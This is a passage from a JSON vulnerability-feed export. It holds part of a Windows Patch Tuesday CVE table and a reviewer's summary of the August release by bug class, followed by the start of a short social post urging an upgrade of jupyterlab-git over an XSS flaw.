Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-62710\n  Windows Device\n  Association Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62747\n  Windows Device\n  Association Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65785\n  Windows DHCP Client\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62736\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62755\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61361\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  RCE\n \n \n  CVE-2026-62761\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62776\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62803\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62807\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62812\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62714\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62715\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62716\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62718\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62720\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62742\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62745\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62814\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61923\n  Windows Display\n  Enhancement Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62769\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62778\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-62881\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62883\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65795\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65797\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65798\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65799\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70304\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70330\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61920\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-62787\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-61932\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62888\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62894\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61933\n  Windows DWM Core\n  Library Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62703\n  Windows DWM Core\n  Library Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-59128\n  Windows Encrypting\n  File System (EFS) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-59126\n  Windows Event Logging\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-59137\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61347\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61360\n  Windows GDI\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65662\n  Windows GDI\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62709\n  Windows GDI+\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62702\n  Windows Graphics\n  Kernel Denial of Service Vulnerability\n  Important\n  6.8\n  No\n  No\n  DoS\n \n \n  CVE-2026-61346\n  Windows Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62774\n  Windows Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61928\n  Windows Hello\n  Tampering Vulnerability\n  Important\n  5.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-62750\n  Windows HTTP Protocol\n  Stack Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-61937\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62735\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62739\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62741\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62753\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62811\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61368\n  Windows Hyper-V\n  Information Disclosure Vulnerability\n  Important\n  5\n  No\n  No\n  Info\n \n \n  CVE-2026-62740\n  Windows Imaging\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54984\n  Windows Imaging\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-59127\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61925\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61938\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62768\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65774\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70344\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70345\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70346\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70347\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65681\n  Windows iSCSI Target\n  Service Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-65796\n  Windows iSCSI Target\n  Service Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-65679\n  Windows iSCSI Target\n  Service Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62752\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62754\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62766\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62773\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61929\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61930\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62708\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-62737\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62749\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62780\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62788\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65773\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62785\n  Windows LDAP -\n  Lightweight Directory Access Protocol Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62795\n  Windows LDAP -\n  Lightweight Directory Access Protocol Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62777\n  Windows License\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50472\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62738\n  Windows Management\n  Instrumentation Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70348\n  Windows Management\n  Services Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62717\n  Windows Message\n  Queuing Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62719\n  Windows Message\n  Queuing Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65790\n  Windows Message\n  Queuing Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62688\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62693\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62707\n  Windows Modern Device\n  Management (MDM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56174\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61366\n  Windows Network\n  Connection Broker Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-68819\n  Windows Network File\n  System Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-62700\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62797\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62880\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61350\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-62793\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62796\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62887\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65784\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68821\n  Windows Package\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-62696\n  Windows Program\n  Compatibility Assistant Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62751\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62690\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62758\n  Windows Remote Access\n  Connection Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62783\n  Windows Remote Access\n  Connection Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61918\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61921\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61924\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61356\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61364\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61365\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61367\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62692\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62779\n  Windows Schannel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62757\n  Windows Schannel\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-61355\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62770\n  Windows Shell\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62799\n  Windows SMB Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62782\n  Windows SMB Client\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65794\n  Windows SMB Client\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62790\n  Windows SMBv3 Server\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62800\n  Windows SMBv3 Server\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-61359\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62695\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59132\n  Windows TCP/IP Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62792\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-59122\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61353\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62701\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62723\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62724\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62725\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62726\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62729\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62732\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62734\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62748\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62699\n  Windows Universal Disk\n  Format File System Driver (UDFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-61926\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62721\n  Windows User-Mode\n  Power Service (UMPS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62711\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62712\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62733\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62876\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62877\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62885\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65678\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65775\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65776\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62730\n  Windows Wired\n  AutoConfig Service Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61349\n  Windows Work Folder\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61939\n  Winlogon Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56179\n  Windows\n  Network Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n  \n* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.\n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \nAs with last month, I\u2019ll do my best to summarize everything else in this release, but assume there are details I miss that are relevant to your environment.\nLooking at the remaining Critical-rated patches, you are safe to ignore the scariest looking ones, including the CVSS 10\u2019s. These have already been mitigated by Microsoft and do not count towards today\u2019s total of 398. The iSCSI Target service, however, is a CVSS 9.8, but it\u2019s not installed by default. Microsoft notes a DHCP Server heap overflow and a SharePoint deserialization bug are both listed as \u201cexploitation more likely\u201d. That SharePoint bug brought two EoP siblings along for the ride. And what would a Patch Tuesday be without Preview Pane exploit vectors in Office components? There are many in August, although there are a few Office bugs listed as Critical but without the Preview Pane vector. Odd. Then there\u2019s the mid-tier pile no one is proud of, but everybody needs to patch anyway: AD CS, RRAS, SSTP, and a matched pair in Device Health Attestation, all leaning on higher attack complexity as their only saving grace. Consider this a coin flip, not a shield. The bug in RMCAST is unauthenticated but requires an adjacent attacker. The bug in Key Guard is a bit interesting, as it could lead to an attacker gaining Virtual Trust Level 1 (VTL1) privileges. The final Critical-rated bug is in the RDP client, but it requires a user to connect to a malicious RDP server.\nMoving on to the other code execution bugs, SharePoint alone accounts for seven of these, six of them the same deserialization-of-untrusted-data flaw repeated almost verbatim across different code paths, all needing only low-privilege auth and no interaction. The seventh is an input-validation miss that needs no auth at all, just a harder-to-pull-off attack chain. LDAP and SMBv3 each draw a matching pair of patches. The LDAP bugs are a heap overflow and a use-after-free, both needing a user to interact with something first; the SMBv3 pair is twin heap overflows. Visual Studio Code adds three of its own: missing authorization, OS command injection, and straight code injection, all requiring a user to open or run something. The AI-coding-tool-vuln-of-the-month tradition continues uninterrupted. The rest of the CVSS 8.1\u20138.8 tier is a grab bag with a common thread \u2014 LSASS and Exchange Server both go down to heap overflows with low-privilege access, Dynamics 365 On-Premises gets the SharePoint treatment (deserialization), and Active Directory Domain Services picks up a command-injection bug that needs a user's cooperation. Add one apiece for Teams, Power BI, Outlook, and a pair for Windows Media Foundation, plus a higher-complexity trio: RPC Runtime Library, Windows TCP/IP, and a second iSCSI Target Service bug. All needing unusual attack conditions to line up, which buys you a little time but not an excuse. Then the file-format mountain: seventeen Excel bugs, six in Access, four apiece in Office and Office Word, one plain Word, one PowerPoint, one .NET Core. Remote Desktop Client's other three bugs sit at a comparatively modest 7.5, but don't read too much comfort into that \u2014 all three need high attack complexity and user interaction, which is precisely the combination phishing campaigns are built to satisfy. Closing out RCE category, there are two more DNS Server bugs, a DHCP Client use-after-free needing local low-privilege access, a Universal Disk Format driver bug that requires physical media and a Windows Codecs Library.\nThere are nearly 180 privilege escalation bugs fixed this month, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. Believe it or not, that leaves only about 20 bugs to discuss. Access control keeps failing in the same places: SharePoint draws two EoPs, then contributes a third via server-side request forgery, and a fourth through cross-site scripting (XSS) that at least needs a user to click something first. Entra Connect adds a SQL injection, .NET Framework an incorrect-authorization bug, and Azure CycleCloud adds a missing-authorization flaw, That\u2019s five different products with the same underlying lesson about checking who\u2019s allowed to do what. Windows Telephony Service is the surprise repeat offender, landing four separate EoPs, but four bugs in one dusty legacy service in a single release is the kind of pattern that makes you wonder who's still dialing in. The rest is a genuine grab bag: Key Guard gets a heap overflow sitting on the trust chain below the OS, DHCP Client and Narrator Braille both fall to local low-privilege bugs, .NET picks up an uncaught exception that actually changes scope, .NET Framework adds a path-traversal bug requiring a click, GitHub Copilot and VS Code get an OS command injection needing the same, Azure Storage Explorer falls to XSS, Azure Monitor Agent and OneDrive for macOS both need high privileges just to start, which caps their real-world urgency, and Exchange Server closes it out with an SSRF bug whose blast radius Microsoft itself rates as confidentiality-only, no integrity or availability hit.\nThere are 11 SFB bugs this month, all Important, none exploited or publicly disclosed. Visual Studio Code accounts for four, Python extension included: one fails open outright, the other three trip on bad authorization checks \u2014 all need a click, which is a low bar in a tool people click through constantly. PowerShell adds a code-injection bypass, and Copilot Chat gets one as well. Exchange Server and Windows Defender Firewall Service both via have missing authorization bugs. The .NET service has a bug via HTTP request smuggling, Active Directory via weak encryption, and Schannel via bad signature verification. In the low individual urgency category, both Schannel and AD have bugs with  \u201cbroken crypto trust\u201d are worth a second look despite the low scores.\nLooking at the info disclosure bugs, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. There are few others of note. The CVSS 6.5 tier is the one with more bite: Windows DHCP Server alone accounts for eight of these, three more hit Remote Desktop Client, two hit SMB Client, two hit Excel, and singles land in PowerShell, .NET, Azure CycleCloud, two Dynamics products, SharePoint, Teams iOS, and VS Code. All are unauthenticated, network-reachable memory leaks, but DHCP Server picking up eight in one release is a pattern, not noise. Everything else sits at 5.5 or below and is almost entirely \"leaks unspecified memory contents,\" differing mainly by which component leaks it. Office file formats dominate with roughly twenty bugs split across Excel, Word, Office generically, Office Graphics, and PowerPoint. Win32k contributes four, NTFS five, GDI/GDI+ three, Event Logging and WMI two apiece, DWM Core two, AMD Zen two. The remaining singles clear out fine during a normal patch cycle without special urgency.\nMoving on to spoofing patches for August, SharePoint dominates with eleven bugs, mostly stored XSS letting an authenticated attacker spoof content, plus a mixed bag of deserialization, code injection, SSRF, and credential exposure at the low end. Outside SharePoint, Teams for Android/iOS gets a high-CVSS (8.8) XSS bug. Exchange Server gets one too. Windows NAT has a scope-changing origin-validation flaw reachable from an adjacent network, and Outlook closes it out with a credential-exposure spoofing bug.\nThere are 14 DoS bugs getting patched this month. NULL pointer dereferences dominate: TCP/IP, iSCSI Target Service, Windows Graphics Kernel, and Remote Registry Service (twice) all crash the same way, unauthenticated over the network. iSCSI Target Service adds a second DoS via heap overflow, with three hits total this release counting its RCE. Resource-exhaustion bugs cover .NET, RPC, DHCP Client, and Microsoft Identity - all unauthenticated, all just flood-and-crash. The rest need local or elevated access: Exchange Server, Windows Network File System, and path/link-resolution bug in Windows Management Services. In other words, nothing exotic. Just patch it in the normal cycle, with a nod to Remote Registry Service and iSCSI Target Service for repeat appearances.\nFinally, there are a handful of tampering bugs receiving patches this month. They start with SharePoint via incorrect authorization. The Windows HTTP Protocol Stack has a bug via a partial string comparison flaw reachable from an adjacent network, and Windows Hello via cleartext storage of sensitive data locally. The Hello one is the one worth a second glance. Biometric auth storing something in the clear isn't a great look, even at a modest 5.5.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on September 8, just after Labor Day here is the US. I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-08-11T19:00:59.592760Z"}, {"uuid": "c6bafa97-033b-468a-a3fa-0d822a286eb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54527", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mq6ndtyssy2f", "content": "jupyterlab-git <0.54.0 is vulnerable to CRITICAL XSS (CVE-2026-54527). Malicious filenames can run code in users\u2019 browsers. Upgrade to 0.54.0+ now! \ud83d\udd12 https://radar.offseq.com/threat/cve-2026-54527-cwe-79-improper-neutralization-of-i-859af0d357310c79 #OffSeq #security #jupyterlab", "creation_timestamp": "2026-07-09T03:00:31.123766Z"}, {"uuid": 